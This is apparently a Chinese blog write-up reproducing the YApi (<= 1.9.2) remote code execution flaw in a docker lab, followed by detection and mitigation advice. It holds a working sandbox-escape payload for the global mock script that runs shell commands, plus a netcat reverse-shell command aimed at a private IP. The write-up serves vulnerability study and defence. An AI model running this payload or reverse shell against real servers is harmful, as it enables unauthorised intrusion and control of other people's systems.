漏洞复现-yapi远程执行命令漏洞复现

目录


漏洞原理

漏洞发现

查看issue2229

漏洞描述

网站开放注册功能时可随意注册,设置全局mock脚本可执行任意代码。

影响范围

Yapi <= 1.9.2

yapi学习

YApi 是高效、易用、功能强大的 api 管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。

通过官方文档学习如何新建项目

通过官方文档学习如何新建接口

通过官方文档学习Mock脚本与优先级

漏洞复现

环境搭建

这里使用的JayFong的docker-YApi,WEB UI在40001端口。修改了版本号为1.8.0

yaml 复制代码
version: '3'

services:
  yapi-web:
    image: jayfong/yapi:1.8.0
    container_name: yapi-web
    ports:
      - 40001:3000
    environment:
      - YAPI_ADMIN_ACCOUNT=admin@docker.yapi
      - YAPI_ADMIN_PASSWORD=adm1n
      - YAPI_CLOSE_REGISTER=false
      - YAPI_DB_SERVERNAME=yapi-mongo
      - YAPI_DB_PORT=27017
      - YAPI_DB_DATABASE=yapi
      - YAPI_MAIL_ENABLE=false
      - YAPI_LDAP_LOGIN_ENABLE=false
      - YAPI_PLUGINS=[]
    depends_on:
      - yapi-mongo
    links:
      - yapi-mongo
    restart: unless-stopped
  yapi-mongo:
    image: mongo:latest
    container_name: yapi-mongo
    volumes:
      - ./data/db:/data/db
    expose:
      - 27017
    restart: unless-stopped

启动镜像

bash 复制代码
docker-compose up -d

启动后发现管理员账号密码不对,应该是环境变量在容器中没有使用,查看配置文件找到管理员账号

查看安装脚本,找到密码

打开WEB UI,使用admin@hello.yapi、ymfe.org登录

新建项目

新建接口

exp

设置全局mock脚本

javascript 复制代码
const sandbox = this; // 获取Context
const ObjectConstructor = this.constructor; // 获取 Object 对象构造函数
const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数
const myfun = FunctionConstructor('return process'); // 构造一个函数,返回process全局变量
const process = myfun();
mockJson = process.mainModule.require("child_process").execSync("ls").toString()

可以把ls改为反弹shell等,例如

bash 复制代码
 nc 10.28.144.100  7777 -e /bin/sh

访问接口预览中的Mock地址即可看到命令结果。

入侵检测与防御

更新为最新版、禁止注册是最好的防御方式

入侵检测可以检测一下可疑的进程、网络连接,例如前面说的反弹Shell可以用下面的方式进行检测:

bash 复制代码
ps -eo pid,ppid,comm,args

可以看到进程1的子进程是117,很可疑

bash 复制代码
netstat -anp | grep ESTABLISHED

可以看到子进程117在与10.28.144.100的7777端口进行通信

参考

github-YMFE-yapi
yapi文档
yapi-issue2229
Awesome-POC-yapi
YApi Mock功能远程代码执行漏洞复现
gitee-JayFong-docker-YApi

相关推荐
探数数据21 天前
使用python对接空号检测API接口
前端·python·yapi
Cosmos复调23 天前
黑马JavaWeb开发笔记07——Ajax、Axios请求、前后端分离开发介绍、Yapi详细配置步骤
java·前端·笔记·vscode·ajax·yapi·软件工程
黑客大佬1 个月前
漏洞挖掘 | 记一次伪静态页面的SQL注入
前端·数据库·sql·nginx·安全·小程序·yapi
shykevin1 个月前
docker yapi安装
运维·docker·容器·yapi
天上掉下来个程小白1 个月前
前端工程化-01.前后端分离开发
前端·yapi
天上掉下来个程小白1 个月前
前端工程化-02.Yapi接口管理平台
前端·yapi
modi0002 个月前
前后端分离开发遵循接口规范-YAPI
yapi
jslzcydd2 个月前
使用 docker-compose 部署和使用 Yapi
yapi
h_and_g2 个月前
swagger的接口文档导入到yapi上
yapi
youqingy3 个月前
酒店旅游API服务汇总
java·人工智能·后端·python·yapi·旅游